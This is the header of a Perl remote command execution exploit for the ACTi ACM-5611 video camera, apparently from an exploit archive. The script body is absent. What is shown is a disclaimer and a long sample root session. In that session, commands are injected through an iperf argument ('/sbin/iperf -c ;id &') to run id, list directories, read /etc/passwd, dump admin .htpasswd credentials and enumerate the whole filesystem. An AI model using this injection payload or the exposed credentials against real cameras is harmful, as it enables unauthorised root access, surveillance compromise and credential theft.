ACTi ACM-5611 video camera remote command execution exploit.
1fc8c409a8a32a076776b237cf33f617#!/usr/bin/perl
#
# ACTi ACM-5611 Video Camera Remote Command Execution Exploit
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
# Firmware Version = A1D-220-V3.08.08-AC
# Production ID = ACM5611-08G-X-00485
# Factory Default Type = NTSC, Composite, Two Ways Audio (0x71)
# Company Name = ACTi Corporation
# WEB Site = www.acti.com
# Profile ID = MT9M131-RB0_V080507A
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# (Dont do anything without permissions)
#
# # [ ACTi ACM-5611 Video Camera Remote Command Execution Exploit
# # [ ============================================================
# # [ Exploit Author: Todor Donev 2019 <[email protected]>
# # [ Server: thttpd/2.25b 29dec2003
# # [ The target is vulnerable
# # [
# # [ Directory Traversal
# # [ http://192.168.1.1/cgi-bin/./
# # [ http://192.168.1.1/cgi-bin/../
# # [ http://192.168.1.1/cgi-bin/80503736
# # [ http://192.168.1.1/cgi-bin/cmd/
# # [ http://192.168.1.1/cgi-bin/encoder
# # [ http://192.168.1.1/cgi-bin/macdev
# # [ http://192.168.1.1/cgi-bin/mpeg4
# # [ http://192.168.1.1/cgi-bin/system
# # [ http://192.168.1.1/cgi-bin/test
# # [ http://192.168.1.1/cgi-bin/update
# # [ http://192.168.1.1/cgi-bin/updatem
# # [ http://192.168.1.1/cgi-bin/url.cgi
# # [ http://192.168.1.1/cgi-bin/videoconfiguration.cgi
# # [ http://192.168.1.1/cgi-bin/web1.cgi
# # [
# # [ Got root?
# # [ # id
# # [ execute : /sbin/iperf -c ;id &
# # [ uid=0(root) gid=0(root)
# # [ # ls -la
# # [ execute : /sbin/iperf -c ;ls -la &
# # [ -rwxr-xr-x 1 0 0 211088 web1.cgi
# # [ -rwxr-xr-x 1 0 0 106124 encoder
# # [ -rwxr-xr-x 1 0 0 54084 test
# # [ -rwxr-xr-x 1 0 0 79756 mpeg4
# # [ -rwxr-xr-x 1 0 0 89604 system
# # [ -rwxr-xr-x 1 0 0 21592 macdev
# # [ -rwxr-xr-x 1 0 0 57504 updatem
# # [ -rwxr-xr-x 1 0 0 58560 update
# # [ lrwxrwxrwx 1 0 0 8 videoconfiguration.cgi -> web1.cgi
# # [ lrwxrwxrwx 1 0 0 6 url.cgi -> system
# # [ -rwxr-xr-x 1 0 0 52888 80503736
# # [ drwxr-xr-x 2 0 0 1024 cmd
# # [ drwxr-xr-x 5 0 0 1024 ..
# # [ drw-r--r-- 3 0 0 1024 .
# # [ # ls -la /var/log/
# # [ execute : /sbin/iperf -c ;ls -la /var/log/ &
# # [ -rw-r--r-- 1 0 0 259 system_info_url.txt
# # [ -rw-r--r-- 1 0 0 259 system_info_web.txt
# # [ -rw-r--r-- 1 0 0 82 wan_info_brief.txt
# # [ -rw-r--r-- 1 0 0 455 systemlog.txt
# # [ drwxr-xr-x 5 0 0 1024 ..
# # [ drwxr-xr-x 2 0 0 1024 .
# # [ # cat /etc/passwd
# # [ execute : /sbin/iperf -c ;cat /etc/passwd &
# # [ root::0:0:root:/root:/bin/bash
# # [ bin:*:1:1:bin:/bin:
# # [ daemon:*:2:2:daemon:/usr/sbin:
# # [ sys:*:3:3:sys:/dev:
# # [ adm:*:4:4:adm:/var/adm:
# # [ lp:*:5:7:lp:/var/spool/lpd:
# # [ sync:*:6:8:sync:/bin:/bin/sync
# # [ shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
# # [ halt:*:8:10:halt:/sbin:/sbin/halt
# # [ mail:*:9:11:mail:/var/spool/mail:
# # [ news:*:10:12:news:/var/spool/news:
# # [ uucp:*:11:13:uucp:/var/spool/uucp:
# # [ operator:*:12:0:operator:/root:
# # [ games:*:13:100:games:/usr/games:
# # [ ftp:*:15:14:ftp:/var/ftp:
# # [ man:*:16:100:man:/var/cache/man:
# # [ nobody:*:65534:65534:nobody:/home:/bin/sh
# # [ # cat cmd/.htpasswd
# # [ execute : /sbin/iperf -c ;cat cmd/.htpasswd &
# # [ admin:dUHDw321YSAkP
# # [ Admin:dUHDw321YSAkP
# # [ # find / -type f
# # [ execute : /sbin/iperf -c ;find / -type f &
# # [ /bin/busybox
# # [ /etc/fstab
# # [ /etc/thttpd/thttpd.conf
# # [ /etc/thttpd/thttpd.throttles
# # [ /etc/services
# # [ /etc/resolv.conf
# # [ /etc/profile
# # [ /etc/init.d/rcS
# # [ /etc/init.d/bootstrap
# # [ /etc/init.d/oem_load
# # [ /etc/init.d/system_load
# # [ /etc/init.d/thttpd
# # [ /etc/init.d/daemon_manager
# # [ /etc/init.d/modules
# # [ /etc/init.d/ddns
# # [ /etc/init.d/syslog
# # [ /etc/init.d/hostname
# # [ /etc/init.d/set_port_speed
# # [ /etc/init.d/get_wan_config
# # [ /etc/init.d/myserver
# # [ /etc/init.d/wan
# # [ /etc/init.d/datetime
# # [ /etc/init.d/dns
# # [ /etc/init.d/boot_sync
# # [ /etc/init.d/profile_load
# # [ /etc/init.d/datetime_rackmount
# # [ /etc/group
# # [ /etc/passwd
# # [ /etc/host.conf
# # [ /etc/inittab
# # [ /etc/ppp/plugins/rp-pppoe.so
# # [ /etc/ppp/resolv.conf
# # [ /etc/ppp/ip-down
# # [ /etc/ppp/ip-up
# # [ /etc/protocols
# # [ /etc/config/update.conf
# # [ /etc/default/default.conf
# # [ /etc/default/version
# # [ /etc/default/default.pppoe
# # [ /etc/default/build_date
# # [ /etc/default/global_options
# # [ /etc/default/boot_version
# # [ /etc/default/profile/camera.bin
# # [ /etc/default/profile/firmware.bin
# # [ /etc/default/profile/profile_id
# # [ /etc/default/profile/NameMap
# # [ /etc/default/profile/camera_adj.bin
# # [ /etc/default/profile/fw_cap.bin
# # [ /etc/default/model
# # [ /etc/default/fw_type
# # [ /etc/default/device
# # [ /etc/default/mac
# # [ /etc/default/serial
# # [ /etc/default/property
# # [ /etc/hosts
# # [ /lib/ld-uClibc-0.9.15.so
# # [ /lib/libcrypt-0.9.15.so
# # [ /lib/libdl-0.9.15.so
# # [ /lib/libm-0.9.15.so
# # [ /lib/libpthread-0.9.15.so
# # [ /lib/libresolv-0.9.15.so
# # [ /lib/libuClibc-0.9.15.so
# # [ /lib/libutil-0.9.15.so
# # [ /lib/modules/2.4.19-rmk4/acap_drv.o
# # [ /lib/modules/2.4.19-rmk4/ds1339_rtc.o
# # [ /lib/modules/2.4.19-rmk4/sound_drv.o
# # [ /proc/mtd
# # [ /proc/asoc2200_eth/DATA
# # [ /proc/misc
# # [ /proc/cpu/alignment
# # [ /proc/tty/drivers
# # [ /proc/tty/ldiscs
# # [ /proc/tty/driver/serial
# # [ /proc/sys/abi/fake_utsname
# # [ /proc/sys/abi/trace
# # [ /proc/sys/abi/defhandler_libcso
# # [ /proc/sys/abi/defhandler_lcall7
# # [ /proc/sys/abi/defhandler_elf
# # [ /proc/sys/abi/defhandler_coff
# # [ /proc/sys/fs/lease-break-time
# # [ /proc/sys/fs/dir-notify-enable
# # [ /proc/sys/fs/leases-enable
# # [ /proc/sys/fs/overflowgid
# # [ /proc/sys/fs/overflowuid
# # [ /proc/sys/fs/dentry-state
# # [ /proc/sys/fs/dquot-nr
# # [ /proc/sys/fs/file-max
# # [ /proc/sys/fs/file-nr
# # [ /proc/sys/fs/inode-state
# # [ /proc/sys/fs/inode-nr
# # [ /proc/sys/net/unix/max_dgram_qlen
# # [ /proc/sys/net/ipv4/conf/eth0/arp_filter
# # [ /proc/sys/net/ipv4/conf/eth0/tag
# # [ /proc/sys/net/ipv4/conf/eth0/log_martians
# # [ /proc/sys/net/ipv4/conf/eth0/bootp_relay
# # [ /proc/sys/net/ipv4/conf/eth0/medium_id
# # [ /proc/sys/net/ipv4/conf/eth0/proxy_arp
# # [ /proc/sys/net/ipv4/conf/eth0/accept_source_route
# # [ /proc/sys/net/ipv4/conf/eth0/send_redirects
# # [ /proc/sys/net/ipv4/conf/eth0/rp_filter
# # [ /proc/sys/net/ipv4/conf/eth0/shared_media
# # [ /proc/sys/net/ipv4/conf/eth0/secure_redirects
# # [ /proc/sys/net/ipv4/conf/eth0/accept_redirects
# # [ /proc/sys/net/ipv4/conf/eth0/mc_forwarding
# # [ /proc/sys/net/ipv4/conf/eth0/forwarding
# # [ /proc/sys/net/ipv4/conf/default/arp_filter
# # [ /proc/sys/net/ipv4/conf/default/tag
# # [ /proc/sys/net/ipv4/conf/default/log_martians
# # [ /proc/sys/net/ipv4/conf/default/bootp_relay
# # [ /proc/sys/net/ipv4/conf/default/medium_id
# # [ /proc/sys/net/ipv4/conf/default/proxy_arp
# # [ /proc/sys/net/ipv4/conf/default/accept_source_route
# # [ /proc/sys/net/ipv4/conf/default/send_redirects
# # [ /proc/sys/net/ipv4/conf/default/rp_filter
# # [ /proc/sys/net/ipv4/conf/default/shared_media
# # [ /proc/sys/net/ipv4/conf/default/secure_redirects
# # [ /proc/sys/net/ipv4/conf/default/accept_redirects
# # [ /proc/sys/net/ipv4/conf/default/mc_forwarding
# # [ /proc/sys/net/ipv4/conf/default/forwarding
# # [ /proc/sys/net/ipv4/conf/all/arp_filter
# # [ /proc/sys/net/ipv4/conf/all/tag
# # [ /proc/sys/net/ipv4/conf/all/log_martians
# # [ /proc/sys/net/ipv4/conf/all/bootp_relay
# # [ /proc/sys/net/ipv4/conf/all/medium_id
# # [ /proc/sys/net/ipv4/conf/all/proxy_arp
# # [ /proc/sys/net/ipv4/conf/all/accept_source_route
# # [ /proc/sys/net/ipv4/conf/all/send_redirects
# # [ /proc/sys/net/ipv4/conf/all/rp_filter
# # [ /proc/sys/net/ipv4/conf/all/shared_media
# # [ /proc/sys/net/ipv4/conf/all/secure_redirects
# # [ /proc/sys/net/ipv4/conf/all/accept_redirects
# # [ /proc/sys/net/ipv4/conf/all/mc_forwarding
# # [ /proc/sys/net/ipv4/conf/all/forwarding
# # [ /proc/sys/net/ipv4/neigh/eth0/locktime
# # [ /proc/sys/net/ipv4/neigh/eth0/proxy_delay
# # [ /proc/sys/net/ipv4/neigh/eth0/anycast_delay
# # [ /proc/sys/net/ipv4/neigh/eth0/proxy_qlen
# # [ /proc/sys/net/ipv4/neigh/eth0/unres_qlen
# # [ /proc/sys/net/ipv4/neigh/eth0/gc_stale_time
# # [ /proc/sys/net/ipv4/neigh/eth0/delay_first_probe_time
# # [ /proc/sys/net/ipv4/neigh/eth0/base_reachable_time
# # [ /proc/sys/net/ipv4/neigh/eth0/retrans_time
# # [ /proc/sys/net/ipv4/neigh/eth0/app_solicit
# # [ /proc/sys/net/ipv4/neigh/eth0/ucast_solicit
# # [ /proc/sys/net/ipv4/neigh/eth0/mcast_solicit
# # [ /proc/sys/net/ipv4/neigh/default/gc_thresh3
# # [ /proc/sys/net/ipv4/neigh/default/gc_thresh2
# # [ /proc/sys/net/ipv4/neigh/default/gc_thresh1
# # [ /proc/sys/net/ipv4/neigh/default/gc_interval
# # [ /proc/sys/net/ipv4/neigh/default/locktime
# # [ /proc/sys/net/ipv4/neigh/default/proxy_delay
# # [ /proc/sys/net/ipv4/neigh/default/anycast_delay
# # [ /proc/sys/net/ipv4/neigh/default/proxy_qlen
# # [ /proc/sys/net/ipv4/neigh/default/unres_qlen
# # [ /proc/sys/net/ipv4/neigh/default/gc_stale_time
# # [ /proc/sys/net/ipv4/neigh/default/delay_first_probe_time
# # [ /proc/sys/net/ipv4/neigh/default/base_reachable_time
# # [ /proc/sys/net/ipv4/neigh/default/retrans_time
# # [ /proc/sys/net/ipv4/neigh/default/app_solicit
# # [ /proc/sys/net/ipv4/neigh/default/ucast_solicit
# # [ /proc/sys/net/ipv4/neigh/default/mcast_solicit
# # [ /proc/sys/net/ipv4/tcp_tw_reuse
# # [ /proc/sys/net/ipv4/icmp_ratemask
# # [ /proc/sys/net/ipv4/icmp_ratelimit
# # [ /proc/sys/net/ipv4/tcp_adv_win_scale
# # [ /proc/sys/net/ipv4/tcp_app_win
# # [ /proc/sys/net/ipv4/tcp_rmem
# # [ /proc/sys/net/ipv4/tcp_wmem
# # [ /proc/sys/net/ipv4/tcp_mem
# # [ /proc/sys/net/ipv4/tcp_dsack
# # [ /proc/sys/net/ipv4/tcp_ecn
# # [ /proc/sys/net/ipv4/tcp_reordering
# # [ /proc/sys/net/ipv4/tcp_fack
# # [ /proc/sys/net/ipv4/tcp_orphan_retries
# # [ /proc/sys/net/ipv4/inet_peer_gc_maxtime
# # [ /proc/sys/net/ipv4/inet_peer_gc_mintime
# # [ /proc/sys/net/ipv4/inet_peer_maxttl
# # [ /proc/sys/net/ipv4/inet_peer_minttl
# # [ /proc/sys/net/ipv4/inet_peer_threshold
# # [ /proc/sys/net/ipv4/route/min_adv_mss
# # [ /proc/sys/net/ipv4/route/min_pmtu
# # [ /proc/sys/net/ipv4/route/mtu_expires
# # [ /proc/sys/net/ipv4/route/gc_elasticity
# # [ /proc/sys/net/ipv4/route/error_burst
# # [ /proc/sys/net/ipv4/route/error_cost
# # [ /proc/sys/net/ipv4/route/redirect_silence
# # [ /proc/sys/net/ipv4/route/redirect_number
# # [ /proc/sys/net/ipv4/route/redirect_load
# # [ /proc/sys/net/ipv4/route/gc_interval
# # [ /proc/sys/net/ipv4/route/gc_timeout
# # [ /proc/sys/net/ipv4/route/gc_min_interval
# # [ /proc/sys/net/ipv4/route/max_size
# # [ /proc/sys/net/ipv4/route/gc_thresh
# # [ /proc/sys/net/ipv4/route/max_delay
# # [ /proc/sys/net/ipv4/route/min_delay
# # [ /proc/sys/net/ipv4/route/flush
# # [ /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
# # [ /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
# # [ /proc/sys/net/ipv4/icmp_echo_ignore_all
# # [ /proc/sys/net/ipv4/ip_local_port_range
# # [ /proc/sys/net/ipv4/tcp_max_syn_backlog
# # [ /proc/sys/net/ipv4/tcp_rfc1337
# # [ /proc/sys/net/ipv4/tcp_stdurg
# # [ /proc/sys/net/ipv4/tcp_abort_on_overflow
# # [ /proc/sys/net/ipv4/tcp_tw_recycle
# # [ /proc/sys/net/ipv4/tcp_fin_timeout
# # [ /proc/sys/net/ipv4/tcp_retries2
# # [ /proc/sys/net/ipv4/tcp_retries1
# # [ /proc/sys/net/ipv4/tcp_keepalive_intvl
# # [ /proc/sys/net/ipv4/tcp_keepalive_probes
# # [ /proc/sys/net/ipv4/tcp_keepalive_time
# # [ /proc/sys/net/ipv4/ipfrag_time
# # [ /proc/sys/net/ipv4/ip_dynaddr
# # [ /proc/sys/net/ipv4/ipfrag_low_thresh
# # [ /proc/sys/net/ipv4/ipfrag_high_thresh
# # [ /proc/sys/net/ipv4/tcp_max_tw_buckets
# # [ /proc/sys/net/ipv4/tcp_max_orphans
# # [ /proc/sys/net/ipv4/tcp_synack_retries
# # [ /proc/sys/net/ipv4/tcp_syn_retries
# # [ /proc/sys/net/ipv4/ip_nonlocal_bind
# # [ /proc/sys/net/ipv4/ip_no_pmtu_disc
# # [ /proc/sys/net/ipv4/ip_autoconfig
# # [ /proc/sys/net/ipv4/ip_default_ttl
# # [ /proc/sys/net/ipv4/ip_forward
# # [ /proc/sys/net/ipv4/tcp_retrans_collapse
# # [ /proc/sys/net/ipv4/tcp_sack
# # [ /proc/sys/net/ipv4/tcp_window_scaling
# # [ /proc/sys/net/ipv4/tcp_timestamps
# # [ /proc/sys/net/core/hot_list_length
# # [ /proc/sys/net/core/optmem_max
# # [ /proc/sys/net/core/message_burst
# # [ /proc/sys/net/core/message_cost
# # [ /proc/sys/net/core/mod_cong
# # [ /proc/sys/net/core/lo_cong
# # [ /proc/sys/net/core/no_cong
# # [ /proc/sys/net/core/no_cong_thresh
# # [ /proc/sys/net/core/netdev_max_backlog
# # [ /proc/sys/net/core/rmem_default
# # [ /proc/sys/net/core/wmem_default
# # [ /proc/sys/net/core/rmem_max
# # [ /proc/sys/net/core/wmem_max
# # [ /proc/sys/vm/max_map_count
# # [ /proc/sys/vm/max-readahead
# # [ /proc/sys/vm/min-readahead
# # [ /proc/sys/vm/page-cluster
# # [ /proc/sys/vm/pagetable_cache
# # [ /proc/sys/vm/kswapd
# # [ /proc/sys/vm/overcommit_memory
# # [ /proc/sys/vm/bdflush
# # [ /proc/sys/kernel/overflowgid
# # [ /proc/sys/kernel/overflowuid
# # [ /proc/sys/kernel/random/uuid
# # [ /proc/sys/kernel/random/boot_id
# # [ /proc/sys/kernel/random/write_wakeup_threshold
# # [ /proc/sys/kernel/random/read_wakeup_threshold
# # [ /proc/sys/kernel/random/entropy_avail
# # [ /proc/sys/kernel/random/poolsize
# # [ /proc/sys/kernel/threads-max
# # [ /proc/sys/kernel/cad_pid
# # [ /proc/sys/kernel/sem
# # [ /proc/sys/kernel/msgmnb
# # [ /proc/sys/kernel/msgmni
# # [ /proc/sys/kernel/msgmax
# # [ /proc/sys/kernel/shmmni
# # [ /proc/sys/kernel/shmall
# # [ /proc/sys/kernel/shmmax
# # [ /proc/sys/kernel/rtsig-max
# # [ /proc/sys/kernel/rtsig-nr
# # [ /proc/sys/kernel/printk
# # [ /proc/sys/kernel/ctrl-alt-del
# # [ /proc/sys/kernel/real-root-dev
# # [ /proc/sys/kernel/cap-bound
# # [ /proc/sys/kernel/tainted
# # [ /proc/sys/kernel/core_uses_pid
# # [ /proc/sys/kernel/panic
# # [ /proc/sys/kernel/domainname
# # [ /proc/sys/kernel/hostname
# # [ /proc/sys/kernel/version
# # [ /proc/sys/kernel/osrelease
# # [ /proc/sys/kernel/ostype
# # [ /proc/sysvipc/shm
# # [ /proc/sysvipc/msg
# # [ /proc/sysvipc/sem
# # [ /proc/net/packet
# # [ /proc/net/unix
# # [ /proc/net/udp
# # [ /proc/net/tcp
# # [ /proc/net/sockstat
# # [ /proc/net/snmp
# # [ /proc/net/netstat
# # [ /proc/net/raw
# # [ /proc/net/rt_cache_stat
# # [ /proc/net/rt_cache
# # [ /proc/net/route
# # [ /proc/net/arp
# # [ /proc/net/netlink
# # [ /proc/net/pppoe
# # [ /proc/net/dev_mcast
# # [ /proc/net/softnet_stat
# # [ /proc/net/dev
# # [ /proc/kcore
# # [ /proc/ksyms
# # [ /proc/slabinfo
# # [ /proc/cpuinfo
# # [ /proc/kmsg
# # [ /proc/execdomains
# # [ /proc/iomem
# # [ /proc/swaps
# # [ /proc/locks
# # [ /proc/cmdline
# # [ /proc/ioports
# # [ /proc/filesystems
# # [ /proc/interrupts
# # [ /proc/partitions
# # [ /proc/devices
# # [ /proc/stat
# # [ /proc/modules
# # [ /proc/version
# # [ /proc/meminfo
# # [ /proc/uptime
# # [ /proc/loadavg
# # [ /proc/1/environ
# # [ /proc/1/status
# # [ /proc/1/cmdline
# # [ /proc/1/stat
# # [ /proc/1/statm
# # [ /proc/1/maps
# # [ /proc/1/mem
# # [ /proc/1/mounts
# # [ /proc/2/environ
# # [ /proc/2/status
# # [ /proc/2/cmdline
# # [ /proc/2/stat
# # [ /proc/2/statm
# # [ /proc/2/maps
# # [ /proc/2/mem
# # [ /proc/2/mounts
# # [ /proc/3/environ
# # [ /proc/3/status
# # [ /proc/3/cmdline
# # [ /proc/3/stat
# # [ /proc/3/statm
# # [ /proc/3/maps
# # [ /proc/3/mem
# # [ /proc/3/mounts
# # [ /proc/4/environ
# # [ /proc/4/status
# # [ /proc/4/cmdline
# # [ /proc/4/stat
# # [ /proc/4/statm
# # [ /proc/4/maps
# # [ /proc/4/mem
# # [ /proc/4/mounts
# # [ /proc/5/environ
# # [ /proc/5/status
# # [ /proc/5/cmdline
# # [ /proc/5/stat
# # [ /proc/5/statm
# # [ /proc/5/maps
# # [ /proc/5/mem
# # [ /proc/5/mounts
# # [ /proc/6/environ
# # [ /proc/6/status
# # [ /proc/6/cmdline
# # [ /proc/6/stat
# # [ /proc/6/statm
# # [ /proc/6/maps
# # [ /proc/6/mem
# # [ /proc/6/mounts
# # [ find: /proc/7/fd: No such file or directory
# # [ /proc/7/environ
# # [ /proc/7/status
# # [ /proc/7/cmdline
# # [ /proc/7/stat
# # [ /proc/7/statm
# # [ /proc/7/maps
# # [ /proc/7/mem
# # [ /proc/7/mounts
# # [ /proc/14/environ
# # [ /proc/14/status
# # [ /proc/14/cmdline
# # [ /proc/14/stat
# # [ /proc/14/statm
# # [ /proc/14/maps
# # [ /proc/14/mem
# # [ /proc/14/mounts
# # [ /proc/132/environ
# # [ /proc/132/status
# # [ /proc/132/cmdline
# # [ /proc/132/stat
# # [ /proc/132/statm
# # [ /proc/132/maps
# # [ /proc/132/mem
# # [ /proc/132/mounts
# # [ /proc/142/environ
# # [ /proc/142/status
# # [ /proc/142/cmdline
# # [ /proc/142/stat
# # [ /proc/142/statm
# # [ /proc/142/maps
# # [ /proc/142/mem
# # [ /proc/142/mounts
# # [ /proc/153/environ
# # [ /proc/153/status
# # [ /proc/153/cmdline
# # [ /proc/153/stat
# # [ /proc/153/statm
# # [ /proc/153/maps
# # [ /proc/153/mem
# # [ /proc/153/mounts
# # [ /proc/154/environ
# # [ /proc/154/status
# # [ /proc/154/cmdline
# # [ /proc/154/stat
# # [ /proc/154/statm
# # [ /proc/154/maps
# # [ /proc/154/mem
# # [ /proc/154/mounts
# # [ /proc/157/environ
# # [ /proc/157/status
# # [ /proc/157/cmdline
# # [ /proc/157/stat
# # [ /proc/157/statm
# # [ /proc/157/maps
# # [ /proc/157/mem
# # [ /proc/157/mounts
# # [ /proc/164/environ
# # [ /proc/164/status
# # [ /proc/164/cmdline
# # [ /proc/164/stat
# # [ /proc/164/statm
# # [ /proc/164/maps
# # [ /proc/164/mem
# # [ /proc/164/mounts
# # [ /proc/171/environ
# # [ /proc/171/status
# # [ /proc/171/cmdline
# # [ /proc/171/stat
# # [ /proc/171/statm
# # [ /proc/171/maps
# # [ /proc/171/mem
# # [ /proc/171/mounts
# # [ /proc/172/environ
# # [ /proc/172/status
# # [ /proc/172/cmdline
# # [ /proc/172/stat
# # [ /proc/172/statm
# # [ /proc/172/maps
# # [ /proc/172/mem
# # [ /proc/172/mounts
# # [ /proc/173/environ
# # [ /proc/173/status
# # [ /proc/173/cmdline
# # [ /proc/173/stat
# # [ /proc/173/statm
# # [ /proc/173/maps
# # [ /proc/173/mem
# # [ /proc/173/mounts
# # [ /proc/174/environ
# # [ /proc/174/status
# # [ /proc/174/cmdline
# # [ /proc/174/stat
# # [ /proc/174/statm
# # [ /proc/174/maps
# # [ /proc/174/mem
# # [ /proc/174/mounts
# # [ /proc/175/environ
# # [ /proc/175/status
# # [ /proc/175/cmdline
# # [ /proc/175/stat
# # [ /proc/175/statm
# # [ /proc/175/maps
# # [ /proc/175/mem
# # [ /proc/175/mounts
# # [ /proc/16706/environ
# # [ /proc/16706/status
# # [ /proc/16706/cmdline
# # [ /proc/16706/stat
# # [ /proc/16706/statm
# # [ /proc/16706/maps
# # [ /proc/16706/mem
# # [ /proc/16706/mounts
# # [ /proc/16707/environ
# # [ /proc/16707/status
# # [ /proc/16707/cmdline
# # [ /proc/16707/stat
# # [ /proc/16707/statm
# # [ /proc/16707/maps
# # [ /proc/16707/mem
# # [ /proc/16707/mounts
# # [ /proc/16708/environ
# # [ /proc/16708/status
# # [ /proc/16708/cmdline
# # [ /proc/16708/stat
# # [ /proc/16708/statm
# # [ /proc/16708/maps
# # [ /proc/16708/mem
# # [ /proc/16708/mounts
# # [ /proc/16709/environ
# # [ /proc/16709/status
# # [ /proc/16709/cmdline
# # [ /proc/16709/stat
# # [ /proc/16709/statm
# # [ /proc/16709/maps
# # [ /proc/16709/mem
# # [ /proc/16709/mounts
# # [ /proc/26139/environ
# # [ /proc/26139/status
# # [ /proc/26139/cmdline
# # [ /proc/26139/stat
# # [ /proc/26139/statm
# # [ /proc/26139/maps
# # [ /proc/26139/mem
# # [ /proc/26139/mounts
# # [ /proc/29140/environ
# # [ /proc/29140/status
# # [ /proc/29140/cmdline
# # [ /proc/29140/stat
# # [ /proc/29140/statm
# # [ /proc/29140/maps
# # [ /proc/29140/mem
# # [ /proc/29140/mounts
# # [ /proc/29176/environ
# # [ /proc/29176/status
# # [ /proc/29176/cmdline
# # [ /proc/29176/stat
# # [ /proc/29176/statm
# # [ /proc/29176/maps
# # [ /proc/29176/mem
# # [ /proc/29176/mounts
# # [ /proc/7727/environ
# # [ /proc/7727/status
# # [ /proc/7727/cmdline
# # [ /proc/7727/stat
# # [ /proc/7727/statm
# # [ /proc/7727/maps
# # [ /proc/7727/mem
# # [ /proc/7727/mounts
# # [ /proc/7728/environ
# # [ /proc/7728/status
# # [ /proc/7728/cmdline
# # [ /proc/7728/stat
# # [ /proc/7728/statm
# # [ /proc/7728/maps
# # [ /proc/7728/mem
# # [ /proc/7728/mounts
# # [ /proc/7729/environ
# # [ /proc/7729/status
# # [ /proc/7729/cmdline
# # [ /proc/7729/stat
# # [ /proc/7729/statm
# # [ /proc/7729/maps
# # [ /proc/7729/mem
# # [ /proc/7729/mounts
# # [ /proc/23419/environ
# # [ /proc/23419/status
# # [ /proc/23419/cmdline
# # [ /proc/23419/stat
# # [ /proc/23419/statm
# # [ /proc/23419/maps
# # [ /proc/23419/mem
# # [ /proc/23419/mounts
# # [ /proc/14789/environ
# # [ /proc/14789/status
# # [ /proc/14789/cmdline
# # [ /proc/14789/stat
# # [ /proc/14789/statm
# # [ /proc/14789/maps
# # [ /proc/14789/mem
# # [ /proc/14789/mounts
# # [ /proc/14790/environ
# # [ /proc/14790/status
# # [ /proc/14790/cmdline
# # [ /proc/14790/stat
# # [ /proc/14790/statm
# # [ /proc/14790/maps
# # [ /proc/14790/mem
# # [ /proc/14790/mounts
# # [ /proc/14791/environ
# # [ /proc/14791/status
# # [ /proc/14791/cmdline
# # [ /proc/14791/stat
# # [ /proc/14791/statm
# # [ /proc/14791/maps
# # [ /proc/14791/mem
# # [ /proc/14791/mounts
# # [ /proc/16682/environ
# # [ /proc/16682/status
# # [ /proc/16682/cmdline
# # [ /proc/16682/stat
# # [ /proc/16682/statm
# # [ /proc/16682/maps
# # [ /proc/16682/mem
# # [ /proc/16682/mounts
# # [ /proc/22978/environ
# # [ /proc/22978/status
# # [ /proc/22978/cmdline
# # [ /proc/22978/stat
# # [ /proc/22978/statm
# # [ /proc/22978/maps
# # [ /proc/22978/mem
# # [ /proc/22978/mounts
# # [ /proc/22979/environ
# # [ /proc/22979/status
# # [ /proc/22979/cmdline
# # [ /proc/22979/stat
# # [ /proc/22979/statm
# # [ /proc/22979/maps
# # [ /proc/22979/mem
# # [ /proc/22979/mounts
# # [ /proc/27240/environ
# # [ /proc/27240/status
# # [ /proc/27240/cmdline
# # [ /proc/27240/stat
# # [ /proc/27240/statm
# # [ /proc/27240/maps
# # [ /proc/27240/mem
# # [ /proc/27240/mounts
# # [ /proc/27241/environ
# # [ /proc/27241/status
# # [ /proc/27241/cmdline
# # [ /proc/27241/stat
# # [ /proc/27241/statm
# # [ /proc/27241/maps
# # [ /proc/27241/mem
# # [ /proc/27241/mounts
# # [ /proc/20414/environ
# # [ /proc/20414/status
# # [ /proc/20414/cmdline
# # [ /proc/20414/stat
# # [ /proc/20414/statm
# # [ /proc/20414/maps
# # [ /proc/20414/mem
# # [ /proc/20414/mounts
# # [ /proc/9117/environ
# # [ /proc/9117/status
# # [ /proc/9117/cmdline
# # [ /proc/9117/stat
# # [ /proc/9117/statm
# # [ /proc/9117/maps
# # [ /proc/9117/mem
# # [ /proc/9117/mounts
# # [ /proc/9120/environ
# # [ /proc/9120/status
# # [ /proc/9120/cmdline
# # [ /proc/9120/stat
# # [ /proc/9120/statm
# # [ /proc/9120/maps
# # [ /proc/9120/mem
# # [ /proc/9120/mounts
# # [ /sbin/dhcpcd
# # [ /sbin/ez-ipupdate
# # [ /sbin/htpasswd
# # [ /sbin/iperf
# # [ /sbin/thttpd
# # [ /usr/sbin/mount_nfs_drive
# # [ /usr/sbin/ll
# # [ /usr/sbin/system_info
# # [ /usr/sbin/read_dev_info
# # [ /usr/sbin/acti_config
# # [ /usr/sbin/show_progress
# # [ /usr/sbin/ddns_monitor
# # [ /usr/sbin/wan_status
# # [ /usr/sbin/adsl-connect
# # [ /usr/sbin/adsl-setup
# # [ /usr/sbin/acti_report
# # [ /usr/sbin/pppd
# # [ /usr/sbin/pppoe
# # [ /usr/sbin/acti_upgrade
# # [ /usr/sbin/thttpd_monitor
# # [ /usr/sbin/acti_485
# # [ /usr/sbin/dbg
# # [ /usr/sbin/ntpclient
# # [ /usr/sbin/acti_upgradem
# # [ /usr/sbin/dhcp_retry
# # [ /usr/sbin/pppoe_monitor
# # [ /usr/sbin/acti_reboot
# # [ /usr/sbin/acti_msg
# # [ /usr/sbin/mount_tmpfs
# # [ /usr/sbin/shell_relay
# # [ /usr/sbin/acti_logger
# # [ /usr/sbin/boot_ctrl
# # [ /usr/sbin/acti_gpio
# # [ /usr/sbin/acti_rs485
# # [ /usr/sbin/acti_rtc
# # [ /usr/sbin/acti_reg
# # [ /usr/sbin/conf_sync
# # [ /usr/sbin/conf_convert
# # [ /usr/sbin/bin2devinfo
# # [ /usr/sbin/audio_tester
# # [ /usr/sbin/bin2profile
# # [ /usr/sbin/acti-server
# # [ /usr/bin/setsid
# # [ /var/run/dev.bin
# # [ /var/run/system_type
# # [ /var/run/channel
# # [ /var/run/sys_conf.bin
# # [ /var/run/wan_state
# # [ /var/run/wanip_config
# # [ /var/run/encoder_run
# # [ /var/log/systemlog.txt
